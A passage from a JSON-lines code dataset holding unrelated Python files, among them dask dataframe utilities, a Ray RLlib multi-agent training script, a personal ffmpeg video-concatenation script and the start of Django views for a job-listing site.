self.CONTENT_DISPOSITION_HEADER].split('filename=')[1]\n\n if os.path.exists(output_file):\n raise OSError(\"Output file '%s' already exists\" % output_file)\n\n with open(output_file, 'wb') as f:\n for chunk in response.iter_content(chunk_size=8096):\n if chunk:\n f.write(chunk)\n f.flush()\n\n return output_file\n","sub_path":"cloudify_rest_client/blueprints.py","file_name":"blueprints.py","file_ext":"py","file_size_in_byte":7943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"137218445","text":"limit = int(input('Podaj limit prędkości: '))\nvelocity = int(input('Podaj prędkość pojazdu: '))\ndiff = velocity - limit\ncounter = -10\nif diff <= 0:\n print('Bez mandatu')\nelif diff > 0 and diff <= 10:\n print(f'Mandat: {diff*5}')\nelif diff > 10:\n for i in range(diff):\n counter += 1\n print(f'Mandat: {50+counter*15}')\n \n \n ","sub_path":"02-ControlStructures/Exercises-02/af_44.py","file_name":"af_44.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"3732228","text":"import json\nfrom uuid import uuid4\n\nimport pandas as pd\n\n\ndef _get_pyarrow_dtypes(schema, categories):\n \"\"\"Convert a pyarrow.Schema object to pandas dtype dict\"\"\"\n\n # Check for pandas metadata\n has_pandas_metadata = schema.metadata is not None and b\"pandas\" in schema.metadata\n if has_pandas_metadata:\n pandas_metadata = json.loads(schema.metadata[b\"pandas\"].decode(\"utf8\"))\n pandas_metadata_dtypes = {\n c.get(\"field_name\", c.get(\"name\", None)): c[\"numpy_type\"]\n for c in pandas_metadata.get(\"columns\", [])\n }\n tz = {\n c.get(\"field_name\", c.get(\"name\", None)): c[\"metadata\"].get(\n \"timezone\", None\n )\n for c in pandas_metadata.get(\"columns\", [])\n if c[\"pandas_type\"] in (\"datetime\", \"datetimetz\") and c[\"metadata\"]\n }\n else:\n pandas_metadata_dtypes = {}\n\n dtypes = {}\n for i in range(len(schema)):\n field = schema[i]\n\n # Get numpy_dtype from pandas metadata if available\n if field.name in pandas_metadata_dtypes:\n if field.name in tz:\n numpy_dtype = (\n pd.Series([], dtype=\"M8[ns]\").dt.tz_localize(tz[field.name]).dtype\n )\n else:\n numpy_dtype = pandas_metadata_dtypes[field.name]\n else:\n try:\n numpy_dtype = field.type.to_pandas_dtype()\n except NotImplementedError:\n continue # Skip this field (in case we aren't reading it anyway)\n\n dtypes[field.name] = numpy_dtype\n\n if categories:\n for cat in categories:\n dtypes[cat] = \"category\"\n\n return dtypes\n\n\ndef _meta_from_dtypes(to_read_columns, file_dtypes, index_cols, column_index_names):\n \"\"\"Get the final metadata for the dask.dataframe\n\n Parameters\n ----------\n to_read_columns : list\n All the columns to end up with, including index names\n file_dtypes : dict\n Mapping from column name to dtype for every element\n of ``to_read_columns``\n index_cols : list\n Subset of ``to_read_columns`` that should move to the\n index\n column_index_names : list\n The values for df.columns.name for a MultiIndex in the\n columns, or df.index.name for a regular Index in the columns\n\n Returns\n -------\n meta : DataFrame\n \"\"\"\n data = {\n c: pd.Series([], dtype=file_dtypes.get(c, \"int64\")) for c in to_read_columns\n }\n indexes = [data.pop(c) for c in index_cols or []]\n if len(indexes) == 0:\n index = None\n elif len(index_cols) == 1:\n index = indexes[0]\n # XXX: this means we can't roundtrip dataframes where the index names\n # is actually __index_level_0__\n if index_cols[0] != \"__index_level_0__\":\n index.name = index_cols[0]\n else:\n index = pd.MultiIndex.from_arrays(indexes, names=index_cols)\n df = pd.DataFrame(data, index=index)\n\n if column_index_names:\n df.columns.names = column_index_names\n return df\n\n\ndef _guid():\n \"\"\"Simple utility function to get random hex string\"\"\"\n return uuid4().hex\n","sub_path":"dask/dataframe/io/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"42537620","text":"import argparse\n\nimport ray\nfrom ray import tune\nfrom ray.rllib.agents.registry import get_agent_class\nfrom ray.rllib.models import ModelCatalog\n\nfrom ray.tune import run_experiments\nfrom ray.tune.registry import register_env\n\nimport tensorflow as tf\n\nfrom social_dilemmas.envs.harvest import HarvestEnv\nfrom social_dilemmas.envs.cleanup import CleanupEnv\nfrom models.obedience_model import ObedienceLSTM\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--exp_name', type=str, help='Name experiment will be stored under')\nparser.add_argument('--env', type=str, default='harvest', help='Name of the environment to rollout. Can be '\n 'cleanup or harvest.')\nparser.add_argument('--algorithm', type=str, default='A3C', help='Name of the rllib algorithm to use.')\nparser.add_argument('--num_agents', type=int, default=5, help='Number of agent policies')\nparser.add_argument('--num_symbols', type=int, default=9, help='Number of symbols in language')\nparser.add_argument('--train_batch_size', type=int, default=26000,\n help='Size of the total dataset over which one epoch is computed.')\nparser.add_argument('--checkpoint_frequency', type=int, default=500,\n help='Number of steps before a checkpoint is saved.')\nparser.add_argument('--training_iterations', type=int, default=2500, help='Total number of steps to train for')\nparser.add_argument('--num_cpus', type=int, default=24, help='Number of available CPUs')\nparser.add_argument('--num_gpus', type=int, default=0, help='Number of available GPUs')\nparser.add_argument('--use_gpus_for_workers', action='store_true', default=False,\n help='Set to true to run workers on GPUs rather than CPUs')\nparser.add_argument('--use_gpu_for_driver', action='store_true', default=False,\n help='Set to true to run driver on GPU rather than CPU.')\nparser.add_argument('--num_workers_per_device', type=float, default=2,\n help='Number of workers to place on a single device (CPU or GPU)')\nparser.add_argument('--num_envs_per_worker', type=float, default=1,\n help='Number of envs to place on a single worker')\n#parser.add_argument('--multi_node', action='store_true', default=False,\n# help='If true the experiments are run in multi-cluster mode')\nparser.add_argument('--local_mode', action='store_true', default=False,\n help='Force all the computation onto the driver. Useful for debugging.')\n#parser.add_argument('--eager_mode', action='store_true', default=False,\n# help='Perform eager execution. Useful for debugging.')\nparser.add_argument('--use_s3', action='store_true', default=False,\n help='If true upload to s3')\nparser.add_argument('--grid_search', action='store_true', default=False,\n help='If true run a grid search over relevant hyperparams')\n\nharvest_default_params = {\n 'lr_init': 0.00136,\n 'lr_final': 0.000028,\n 'entropy_coeff': .000687}\n\ncleanup_default_params = {\n 'lr_init': 0.00126,\n 'lr_final': 0.000012,\n 'entropy_coeff': .00176}\n\nMODEL_NAME = \"conv_to_fc_net\"\n\n\ndef setup(env, hparams, algorithm, train_batch_size, num_cpus, num_gpus,\n num_agents, num_symbols, grid_search, use_gpus_for_workers=False, use_gpu_for_driver=False,\n num_workers_per_device=1):\n\n obs_space = None\n act_space = None\n if env == 'harvest':\n obs_space = HarvestEnv.observation_space(num_agents, num_symbols)\n act_space = HarvestEnv.action_space(num_agents, num_symbols)\n\n def env_creator(env_config):\n return HarvestEnv(env_config)\n else:\n obs_space = CleanupEnv.observation_space(num_agents, num_symbols)\n act_space = CleanupEnv.action_space(num_agents, num_symbols)\n\n def env_creator(env_config):\n return CleanupEnv(env_config)\n\n env_name = env + \"_env\"\n register_env(env_name, env_creator)\n\n # register the custom model\n ModelCatalog.register_custom_model(MODEL_NAME, ObedienceLSTM)\n\n # Each policy can have a different configuration (including custom model)\n def gen_policy():\n return None, obs_space, act_space, {'custom_model': MODEL_NAME}\n\n # Setup with an ensemble of `num_policies` different policy graphs\n policy_graphs = {}\n for i in range(num_agents):\n policy_graphs['agent-' + str(i)] = gen_policy()\n\n def policy_mapping_fn(agent_id):\n return agent_id\n\n # gets the A3C trainer and its default config\n # source at https://github.com/ray-project/ray/blob/d537e9f0d8b84414a2aba7a7d0a68d59241f1490/rllib/agents/a3c/a3c.py\n agent_cls = get_agent_class(algorithm)\n config = agent_cls._default_config.copy()\n\n # information for replay\n config['env_config']['func_create'] = env_creator\n config['env_config']['env_name'] = env_name\n # config['env_config']['run'] = algorithm\n config['callbacks']['on_postprocess_traj'] = on_postprocess_traj\n\n # Calculate device configurations\n gpus_for_driver = int(use_gpu_for_driver)\n cpus_for_driver = 1 - gpus_for_driver\n if use_gpus_for_workers:\n spare_gpus = (num_gpus - gpus_for_driver)\n num_workers = int(spare_gpus * num_workers_per_device)\n num_gpus_per_worker = spare_gpus / num_workers\n num_cpus_per_worker = 0\n else:\n spare_cpus = (num_cpus - cpus_for_driver)\n num_workers = int(spare_cpus * num_workers_per_device)\n num_gpus_per_worker = 0\n num_cpus_per_worker = spare_cpus / num_workers\n\n # hyperparams\n config.update({\n \"train_batch_size\": train_batch_size,\n \"sample_batch_size\": 50,\n # \"batch_mode\": \"complete_episodes\",\n # \"metrics_smoothing_episodes\": 1,\n \"vf_loss_coeff\": 0.1,\n \"horizon\": 1000,\n \"gamma\": 0.99,\n \"lr_schedule\":\n [[0, hparams['lr_init']],\n [20000000, hparams['lr_final']]],\n \"num_workers\": num_workers,\n \"num_gpus\": num_gpus, # The number of GPUs for the driver\n \"num_cpus_for_driver\": cpus_for_driver,\n \"num_gpus_per_worker\": num_gpus_per_worker, # Can be a fraction\n \"num_cpus_per_worker\": num_cpus_per_worker, # Can be a fraction\n \"entropy_coeff\": hparams['entropy_coeff'],\n \"multiagent\": {\n \"policies\": policy_graphs,\n \"policy_mapping_fn\": policy_mapping_fn,\n },\n \"model\": {\"custom_model\": MODEL_NAME,\n #\"custom_preprocessor\": \"nothing\",\n \"use_lstm\": False,\n \"custom_options\": {\n \"num_agents\": num_agents,\n \"num_symbols\": num_symbols,\n \"fcnet_hiddens\": [32, 32],\n \"cell_size\": 128,\n },\n \"conv_filters\": [[6, [3, 3], 1]],\n #\"lstm_cell_size\": 128\n # conv filters??\n },\n \"env_config\": {\n \"num_agents\": num_agents,\n \"num_symbols\": num_symbols,\n \"obedience_weight\": .001,\n \"leadership_weight\": .001,\n },\n })\n\n if args.algorithm == \"PPO\":\n config.update({\"num_sgd_iter\": 10,\n \"sgd_minibatch_size\": 500,\n \"vf_loss_coeff\": 1e-4\n })\n\n if args.grid_search:\n pass\n\n return algorithm, env_name, config\n\n\ndef on_postprocess_traj(info):\n # print('TAG on_postprocess_traj')\n # info has keys episode, agent_id, pre_batch, post_batch, all_pre_batches\n # post batch has\n # dict_keys(['t', 'eps_id', 'agent_index', 'obs', 'actions', 'rewards', 'prev_actions',\n # 'prev_rewards', 'dones', 'infos', 'new_obs', 'action_prob', 'action_logp', 'vf_preds',\n # 'state_in_0', 'state_in_1', 'state_out_0', 'state_out_1', 'unroll_id', 'advantages',\n # 'value_targets'])\n\n # print(info['post_batch']['infos'])\n infos = info['post_batch']['infos']\n intrinsic_vals = [f['intrinsic'] for f in infos]\n env_vals = [f['environmental'] for f in infos]\n # total_vals = [f['intrinsic'] + f['environmental'] for f in infos]\n\n episode = info['episode']\n # episode.custom_metrics[\"totals\"] = sum(total_vals)\n episode.custom_metrics[\"envs\"] = sum(env_vals)\n episode.custom_metrics[\"intrinsics\"] = sum(intrinsic_vals)\n\n\n# def main(unused_argv):\nif __name__ == '__main__':\n args = parser.parse_args()\n if args.local_mode:\n ray.init(local_mode=True)\n else:\n ray.init()\n\n if args.env == 'harvest':\n hparams = harvest_default_params\n else:\n hparams = cleanup_default_params\n\n alg_run, env_name, config = setup(args.env, hparams, args.algorithm,\n args.train_batch_size,\n args.num_cpus,\n args.num_gpus, args.num_agents, args.num_symbols,\n args.grid_search,\n args.use_gpus_for_workers,\n args.use_gpu_for_driver,\n args.num_workers_per_device)\n\n exp_name = f'{args.env}_{args.algorithm}' if not args.exp_name else args.exp_name\n\n config['env'] = env_name\n\n # custom trainer is called into here\n\n exp_dict = {\n 'name': exp_name,\n # 'run_or_experiment': trainer,\n 'run_or_experiment': args.algorithm,\n \"stop\": {\n \"training_iteration\": args.training_iterations\n },\n 'checkpoint_freq': args.checkpoint_frequency,\n 'checkpoint_at_end': True,\n \"config\": config,\n 'reuse_actors': True,\n }\n\n analysis = tune.run(**exp_dict)\n print(analysis.get_best_config(metric='custom_metrics/envs_mean'))\n","sub_path":"run_scripts/train_obedience.py","file_name":"train_obedience.py","file_ext":"py","file_size_in_byte":10156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"358985310","text":"def run():\n n = int(input()) # 购买票的次数\n info = [[\"\"]*2 for _ in range(n)] # 使用二维列表存储出发地-目的地\n for i in range(n):\n start, end = input().split()\n info[i][0], info[i][1] = start, end\n \n # 考虑到字符匹配的过程 利用栈做一个匹配, 需要考虑到大环镶嵌小环\n stack = []\n ans = 0\n for i in range(len(info)):\n start, end = info[i][0], info[i][1]\n stack.append(start)\n if end in stack: # 查询到一个有一个目的地和出发地重合\n index = stack.index(end) # 找到这个出发地索引,索引之后的数据全部弹出\n stack = stack[:index]\n ans += 1\n return ans\n\nprint(run())\n \n\n","sub_path":"美团笔试/美团-2.py","file_name":"美团-2.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"32421338","text":"'''\njokoon: https://ffmpeg.org/ffmpeg-filters.html#xstack\n\n-lavfi \"[0:v]scale=1280:720[tmp0];[tmp0][1:v]hstack\" or something like that\n\nfor the size diff, in the fitlerchain\n\nfor the sound:\nhttps://ffmpeg.org/ffmpeg-filters.html#amix\n\n'''\n\n# ffprobe\n# print(43212)\n# exit(432)\nfrom os import listdir as ls\nfrom shutil import copyfile as cp\nfrom sys import argv\nimport subprocess\nfrom pprint import pformat\nimport os, sys\nfrom htmlshow import *\nimport time\nimport datetime\n\nimport random\ndef lessshortdate():\n return datetime.datetime.now().strftime(\"%Y-%m-%d--%H-%M-%S\")\ndef shortdate():\n return datetime.datetime.now().strftime(\"%Y-%m-%d--%H-%M\")\ndef sizeof_fmt(num, suffix=''):\n for unit in ['','K','M','G','T','P','E','Z']:\n if abs(num) < 1024.0:\n numpart = \"%.1f\"%num\n if numpart[-2:] == '.0' or num >99: numpart = numpart[:-2]\n return \"%s %s%s\" % (numpart, unit, suffix)\n # return \"%3.1f%s%s\" % (num, unit, suffix)\n num /= 1024.0\n\n numpart = \"%.1f\"%num\n if numpart[-2:] == '.0': numpart = numpart[:-2]\n return \"%s %s%s\" % (numpart, 'Y', suffix)\n\n# ffmpeg = r\"E:\\musk\\youtube-dl\\ffmpeg.exe\"\nffmpeg = r\"E:/musk/youtube-dl/ffmpeg.exe\"\nffmpeg = r\"D:/ydl/ffmpeg.exe\"\nffmpeg = r\"c:/ydl/ffmpeg.exe\"\n# ffprobe = r\"E:\\musk\\youtube-dl\\ffprobe.exe\"\nffprobe = r\"E:/musk/youtube-dl/ffprobe.exe\"\nffprobe = r\"D:/ydl/ffprobe.exe\"\nffprobe = r\"E:/ydl/ffprobe.exe\"\nffprobe = r\"c:/ydl/ffprobe.exe\"\nwriteonce = False\n# sys.stdout.write(\"Download progress: %d%% \\r\" % (progress) )\n# sys.stdout.flush()\n\nprint(ffmpeg)\n\nstage = sys.argv[2] if len(sys.argv) > 2 else None\n\ndef shfn(s, maxsize = 32):\n # if len(s)-a-b < 8:\n if len(s) < maxsize:\n return s\n return s[:int(maxsize*0.75)]+u'…'+s[-int(maxsize*0.25):]\n\n\n# getting video info data\ndef get_info(path):\n # proc = subprocess.run([ffprobe]+args, stdout = subprocess.DEVNULL)\n\n # first show_format\n args = [\"-show_format\", \"-print_format\", \"json\", \"-i\", path]\n\n proc = subprocess.run([ffprobe]+args, capture_output=True)\n result = proc.stdout.decode(\"utf-8\")\n show_format = eval(result)\n show_format = show_format['format']\n\n # print(show_format)\n if False: # spamming the terminal\n print(show_format['filename'])\n for a,b in show_format.items():\n print(' ', a, '\\t', b)\n\n # then show_streams\n video = None\n audio = None\n\n args = [\"-show_streams\", \"-print_format\", \"json\", \"-i\", path]\n proc = subprocess.run([ffprobe]+args, capture_output=True)\n result = proc.stdout.decode(\"utf-8\")\n streams = eval(result)\n streams = streams['streams']\n\n # print(len(streams))\n if len(streams) < 2:\n if 'codec_type' in streams[0] and streams[0]['codec_type'] == 'audio':\n return None, None\n video = streams[0]\n\n else:\n if 'codec_type' in streams[0]:\n if streams[0]['codec_type'] == 'audio':\n audio = streams[0]\n elif streams[0]['codec_type'] == 'video':\n video = streams[0]\n\n if 'codec_type' in streams[1]:\n if streams[1]['codec_type'] == 'audio':\n audio = streams[1]\n elif streams[1]['codec_type'] == 'video':\n video = streams[1]\n\n\n filename = os.path.basename(path)\n\n ret = {}\n # a if cond else b\n if 'duration' in video:\n ret['dur'] = time.strftime('%M:%S', time.gmtime(float(video['duration'])))\n elif 'duration' in show_format:\n ret['dur'] = time.strftime('%M:%S', time.gmtime(float(show_format['duration'])))\n elif 'tags' in video and 'DURATION' in video['tags']:\n ret['dur'] = video['tags']['DURATION']\n else:\n ret['dur'] = '-'\n\n\n if 'width' in video:\n ret['dim'] = str(video['width'])+'x'+str(video['height'])\n dim2 = (video['width'], video['height'])\n ret['ratio'] = str(round(dim2[0] / dim2[1], 3))\n else:\n ret['ratio'] = '-'\n ret['dim'] = '-'\n # ret['dur'] = time.strftime('%M:%S', time.gmtime(float(video['duration'])))\n # ret['dur'] = time.strftime('%M:%S', time.gmtime(float(dic['duration'])))\n ret['filesize'] = sizeof_fmt(os.path.getsize(path))\n # print(path)\n\n if 'avg_frame_rate' in video:\n framerate = video['avg_frame_rate']\n try:\n framerate_f = round(float(int(framerate.split('/')[0]) / int(framerate.split('/')[1])),3)\n except ZeroDivisionError:\n print(filename, framerate)\n framerate = \"%s %s\"%(str(framerate_f),framerate)\n else:\n framerate = '-'\n\n ret['framerate'] = framerate ### removed\n ret['codec'] = video['codec_name'] ### removed\n # ret['framerate'] = video['avg_frame_rate'] ### removed\n ret['audio'] = audio['codec_name'] if audio != None else '-'\n\n ret['filename'] = filename\n ret['path'] = path\n\n\n # ret['pix_fmt'] = video['pix_fmt'] ## removed\n\n # ret['ratio'] = video['display_aspect_ratio'].split(':')\n # ret['ratio'] = str(int(ret['ratio'][0])/int(ret['ratio'][1]))\n\n\n # print(ret)\n # print('finished')\n return ret, result\n\n# printing a dict with return lines\ndef dirtyformat(dic):\n s = repr(dic)\n s = s.replace('{','{\\n').replace('}', '}\\n\\n')\n return s\n\n# html report\ndef write_html(data):\n keys = []\n for filename,stuff in data.items():\n # keys = stuff.keys()\n keys = [a for a,b in (stuff).items() if a != 'path']\n break\n\n # for filename,stuff in data.items():\n for a,b in data.items():\n b['filename'] = shfn(b['filename'],64)\n\n ar = [[b for a,b in (stuff).items() if a != 'path'] for filename, stuff in data.items()]\n # print(ar)\n # print(keys)\n f = open(argv[1]+\"\\\\xstacked\\\\vid_data.nogit.html\",'w', encoding = 'utf-8')\n html_start(f)\n\n f.write(table(\n trth(keys)+''.join([tr(line) for line in ar])\n ))\n\n html_finish(f)\n\n# gathering video info, either scan or opening saved scan\ndef gather_vid_info(path, stage):\n print(\"###### PLEASE CHECK IF ALL FILES GOT AUDIO FIRST ! ######\")\n import os\n from pprint import pformat\n vid_data = {}\n print('scanning dir', path)\n\n if stage == 'scan':\n # newline='' to avoid double line returns\n raw = open(sys.argv[1]+\"\\\\xstacked\\\\stdout.nogit.txt\",'w',encoding='utf-8', newline='')\n i = 0\n for p in ls(path):\n if p[-4:] == 'html' or p[-4:] == '.txt': continue\n # sys.stdout.write(\"%d %s \\r\" % (i,p))\n sys.stdout.write(\"%d \\r\" % (i))\n sys.stdout.flush()\n\n abspath = os.path.abspath(path+'/'+p)\n # print(abspath)\n if os.path.isdir(abspath):\n print('skipping', p)\n continue\n ret, result = get_info(abspath)\n if ret == None:\n # failed, maybe only audio!\n print('failed, maybe only audio!')\n continue\n # print(abspath)\n vid_data[p] = ret\n raw.write(abspath+'\\n')\n # print(result)\n raw.write(result.replace('\\n\\n','\\n')+'\\n\\n--------------------\\n\\n')\n\n i+=1\n # saves the data\n open(sys.argv[1]+\"\\\\xstacked\\\\vid_data.nogit.txt\",'w').write(dirtyformat(vid_data))\n else:\n vid_data = eval(open(sys.argv[1]+\"\\\\xstacked\\\\vid_data.nogit.txt\").read())\n print('imported', len(vid_data))\n\n # ppf = pformat(vid_data, width=200, indent = 4, compact = True)\n # open(\"vid_data.nogit.txt\",'w').write(ppf)\n\n write_html(vid_data)\n print(\"###### PLEASE CHECK IF ALL FILES GOT AUDIO FIRST ! ######\")\n return vid_data\n\n# re-encode video with width 360, framerate 30\ndef re_encode(data, new_folder):\n path = data['path']\n resize = False\n if int(data['dim'].split('x')[0]) > 500 and float(data['ratio']) < 1.8:\n resize = True\n\n # args = [ffmpeg, '-i', path,] + \"-r 30 -vf scale=360:-2\".split() + [new_folder+data['filename']]\n # args = [ffmpeg, '-i', path,] + \"-r 30 -vf scale=480:-2\".split() + [new_folder+data['filename']]\n args = [ffmpeg, '-i', path,] + \"-r 30 -vf scale=540:-2\".split() + [new_folder+data['filename']]\n\n subprocess.run(args)\n\n# put n in the array with the smallest sum\ndef pickput(gr, n):\n sums = [(i,sum([t[0] for t in a])) for i,a in enumerate(gr)]\n smallest = sorted(sums, key = lambda a: a[1])[0][0] # oh cheesus\n gr[smallest].append(n)\n\n# balance videos to minimize \"holes\" at the end\ndef balanced_sums(vid_data):\n durs = []\n for filename, data in vid_data.items():\n t = data['dur']\n t = int(t.split(':')[0])*60 + int(t.split(':')[1])\n durs.append((t, filename))\n durs.sort()\n # print(durs)\n # return\n # durs.reverse()\n # gr = [[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[]]\n gr = [[],[],[],[]]\n i = 0\n # while len(durs)>3:\n while len(durs):\n n = durs.pop()\n pickput(gr,n)\n i+=1\n\n f = open(sys.argv[1]+'\\\\xstacked\\\\vid_data-balanced.nogit.txt','w')\n for a in gr:\n # print(sum([t[0] for t in a]), [t[0] for t in a])\n f.write(repr((sum([t[0] for t in a]), [t[0] for t in a]))+'\\n')\n f.write('\\n\\n---\\n\\n')\n\n random.seed(433)\n for a in gr:\n random.shuffle(a)\n\n for a in gr:\n f.write(repr((sum([t[0] for t in a]), [t[0] for t in a]))+'\\n')\n\n for t in a:\n f.write(repr(t)+'\\n')\n f.write('\\n\\n\\n')\n\n remade = [[((j+1)*100+i, t[1], t[0]) for i,t in enumerate(a)] for j,a in enumerate(gr)]\n # print(remade)\n\n return remade\n\n# build the xstack command arguments\ndef xstack(dic, mute = [], clean = False, lst = True):\n # target folder\n folder = next(iter(dic.values()))['path']\n folder = os.path.dirname(folder)\n\n # print(folder)\n folder+='\\\\xstacked\\\\'\n if not os.path.exists(folder):\n os.makedirs(folder)\n\n # buildings arg list\n # args = [ffmpeg, '-y']\n args = ['ffmpeg.exe'] if clean else [ffmpeg]\n # balancing into 4 list with alsmost similar length, to reduce end-of-video \"holes\" (haha holes)\n balanced = balanced_sums(dic)\n # inputs\n backmap = {} # to track the id ffmpeg will assign to inputs\n j = 0\n filelist = open(sys.argv[1]+'\\\\xstacked\\\\filelist.nogit.txt','w', encoding='utf-8')\n\n for li in balanced:\n for i,k, dur in li:\n backmap[k] = j # tracking video id because ffmpeg use an ordered list of id as aliases\n if not lst: args += ['-i', 'file%d.mp4'%j] if clean else ['-i', '%s'%dic[k]['path']] # I swear this is a coincidence. Let's be honest why this script exists\n filelist.write('file \"%s\"\\n'%dic[k]['path'])\n j+=1\n filelist.close()\n # this works, I tried many things. look at the docs. ow is output width, so guess the rest. setsar will set the sample aspect ratio to 1. cool right?\n # letterbox = 'setsar=1,scale=320:180:force_original_aspect_ratio=decrease,pad=320:180:(ow-iw)/2:(oh-ih)/2'\n letterbox = 'scale=480:270:force_original_aspect_ratio=decrease,pad=480:270:(ow-iw)/2:(oh-ih)/2, setsar=1'\n\n # 4x4\n # applying letterbox BEFORE the concatenate stage. those are the 4 \"list\" from the balanced output\n rescalers = []\n for v,i in backmap.items():\n # print(v,i)\n vol = ''\n for a in mute:\n if a in v:\n vol = 'volume=0.01,'\n print('muting', v)\n break\n # rescalers.append(\"[%d:v]%s[rsclbf%d];[rsclbf%d]fps=24[rscl%d];\"%(i, letterbox, i,i,i))\n # testing with both audio and video to avoid desync\n rescalers.append(\"[%d:v]%s%s[rsclbf%d];[rsclbf%d]fps=24[rscl%d];\"%(i, vol, letterbox, i,i,i))\n\n\n # single_concat = ''.join([\"[rscl%d]\"%(i) for i in range(len(backmap))])+'concat=n=%d[cct%d];'%(len(backmap),54354)\n # single_concat = ''.join([\"[rscl%d]\"%(i) for i in range(len(backmap))])+'concat=n=%d[cct%d]'%(len(backmap),54354)\n single_concat = ''.join([\"[rscl%d][%d:a]\"%(i,i) for i in range(len(backmap))])+'concat=n=%d:v=1:a=1'%(len(backmap))\n # print(len(backmap))\n # for i in range(len(backmap)):\n\n\n # args +=['-i', folder+'filelist.nogit.txt']\n args +=['-filter_complex']\n\n # args += [''.join(rescalers)+''.join(concats)+xstack]\n args += [''.join(rescalers)+single_concat]\n args+=['output.mp4'] if clean else [folder+'concat-%s.mp4'%shortdate()]\n\n cmds = open(argv[1]+'\\\\xstacked\\\\ffmpeg-command.nogit.txt','w')\n cmds_d = open(argv[1]+'\\\\xstacked\\\\ffmpeg-debug.nogit.txt','w')\n\n cmds.write('\\n'.join([repr(a)+',' for a in args]))\n cmds_d.write('\\n'.join(args))\n if clean: return\n # return\n subprocess.run(args)\n\ndef mix_audio(dic, balanced, stacked):\n\n backmap = {} # to track the id ffmpeg will assign to inputs\n j = 0\n clean = False\n args = [ffmpeg]\n\n for li in balanced:\n for i,k, dur in li:\n backmap[k] = j # tracking video id because ffmpeg use an ordered list of id as aliases\n args += ['-i', 'file%d.mp4'%j] if clean else ['-i', '%s'%dic[k]['path']] # I swear this is a coincidence. Let's be honest why this script exists\n j+=1\n\n stk_id = len(backmap)\n\n args += ['-i', stacked]\n concats_a = ['', '', '', '']\n\n single_concat = ''.join([\"[rscl%d]\"%(backmap[v]) for i in range(len(backmap))])+'concat=n=%d[cct%d];'%(len(backmap),54354)\n\n\n for quad, li in enumerate(balanced):\n concats_a[quad] = ''.join(\n [\"[%d:a]\"%(backmap[v]) for i,v,dur in li])+'concat=n=%d:v=0:a=1[cct_a%d];'%(len(li),quad)\n amix = '[cct_a0][cct_a1][cct_a2][cct_a3]amix=inputs=4[all_aud]'\n\n args += ['-filter_complex']\n args += [''.join(concats_a)+amix]\n # args += [amix]\n # args += ['-map', '%d:v:0'%stk_id, '-map', '1:a:0']\n args += ['-map', '%d:v'%stk_id, '-map', '[all_aud]']\n args += [stacked.replace('.mp4','')+\"_aud.mp4\"]\n\n cmds2 = open(sys.argv[1]+'\\\\xstacked\\\\ffmpeg-command_aud.nogit.txt','w')\n cmds2.write('\\n'.join([repr(a)+',' for a in args]))\n # return\n subprocess.run(args)\n\n\n# this calls ffprobe on all video files is 'scan' is in the command.\n# if not it assumes scan was already done and read from a cache file\n\n\nif len(sys.argv) >1:\n folder = sys.argv[1]\n # folder = os.path.dirname(folder)\n print(folder)\n folder+='\\\\xstacked\\\\'\n if not os.path.exists(folder):\n os.makedirs(folder)\n\nvid_data = gather_vid_info(argv[1], stage)\n\nif len(sys.argv) <3: exit('must have have args: ')\nprint('''remember, mix audio must be provided with a filepath''')\n\n\ndef fix_sar_dar(path):\n # to summarize, path = dirname + basename\n print('basename', os.path.basename(path))\n # print('abspath', os.path.abspath(path))\n print('dirname', os.path.dirname(path))\n # return\n 'ffmpeg -i -vf scale=720x406,setdar=16:9 '\n args = [ffmpeg]\n args+=['-i', path, '-vf', 'scale=640x360',os.path.dirname(path)+'/DONE2.mp4' ]\n subprocess.run(args)\n\ndef mute_audio(path):\n # 'ffmpeg -i -vf scale=720x406,setdar=16:9 '\n args = [ffmpeg]\n args+=['-i', path, '-filter:a', 'volume=0',os.path.dirname(path)+'/'+os.path.basename(path)+'muted.mp4' ]\n subprocess.run(args)\n\nmuted = ['en foret']\nmuted = []\nif stage == 'convert':\n xstack(vid_data, muted, len(argv)>3 and argv[3]=='clean', False)\nelif stage == 'balance':\n bal = balanced_sums(vid_data)\n for l in bal:\n for a in l:\n # print(a)\n print((a[0],a[2],a[1]))\nelif stage == 'mute':\n mute_audio(sys.argv[3])\nelif stage == 'mix_audio':\n bal = balanced_sums(vid_data)\n mix_audio(vid_data, bal, sys.argv[-1])\nelif stage == 'custom':\n fix_sar_dar(argv[3])","sub_path":"_projlab/ffmpeg/ffmpeg-concat.py","file_name":"ffmpeg-concat.py","file_ext":"py","file_size_in_byte":15690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"52776364","text":"from django.shortcuts import render, redirect\r\nfrom .models import Oportunidade, Curriculo\r\nfrom django.utils import timezone\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom .forms import oportunidadeFormulario, curriculoFormulario, ContatoForm\r\nfrom django.core.mail import send_mail, BadHeaderError\r\nfrom django.http import HttpResponse\r\nfrom django.contrib import messages\r\n\r\n\r\n\r\ndef listaDeOportunidades(request):\r\n\toportunidadesCadastradas = Oportunidade.objects.all()\r\n\r\n\treturn render(request, 'html/lista-oportunidades-recrutador.html', {'oportunidades':oportunidadesCadastradas}) \r\n\r\ndef dicas(request):\r\n\treturn render(request, 'html/dicas-candidato.html', {}) \r\n\r\ndef homeRecrutador(request):\r\n\tcurriculos = Curriculo.objects.all()\r\n\treturn render(request, 'html/home-recrutador.html', {'curriculos':curriculos})\r\n\r\ndef oportunidade(request, chavePrimaria):\r\n\toportunidade = Oportunidade.objects.get(pk = chavePrimaria)\r\n\tinteressados = oportunidade.interessados.all()\r\n\treturn render(request, 'html/oportunidade.html', {'oportunidade':oportunidade, 'interessados': interessados}) \r\n\t\r\ndef curriculo(request, chavePrimaria):\r\n\tcurriculo = Curriculo.objects.get(pk = chavePrimaria)\r\n\treturn render(request, 'html/curriculo.html', {'curriculo':curriculo})\r\n\r\ndef 